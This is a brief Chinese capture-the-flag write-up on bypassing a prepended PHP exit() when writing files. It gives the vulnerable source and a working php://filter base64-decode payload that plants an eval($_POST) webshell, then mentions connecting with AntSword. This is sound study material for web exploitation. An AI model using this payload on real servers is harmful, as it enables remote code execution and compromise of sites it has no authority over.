记录一个PHP中绕过exit()写shell的方法
具体可以参考 php死亡exit()绕过 - xiaolong's blog
老规矩先看源码
<?php
highlight_file(__FILE__);
file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);
?>
代码很简单,就是向让我们写shell到一个文件里,但是文件的内容被拼接上了"<?php exit();",这就导致如果我们按常规思路写shell进去的话,执行时就会直接先执行exit()退出了,我们后面的shell代码是无法执行的。
这是我们可以用到php://filter伪协议
payload为
?filename=php://filter/convert.base64-decode/resource=shell.php
POST:content=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=
//PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=是<?php eval($_POST[123]);?>一句话的base64,至于前面为什么要加个a,主要是为了让前面的<?php exit(); 满足base64编码格式
payload的整个意思就是在shell.php里写入一句话的base64加密内容,文件名利用php://filter/进行解密,这样的话,之前的<?php exit(); 就会被base64解密从而乱码,这样就不会被当成PHP代码执行了。
写shell后用蚁剑连接或直接RCE即可拿到flag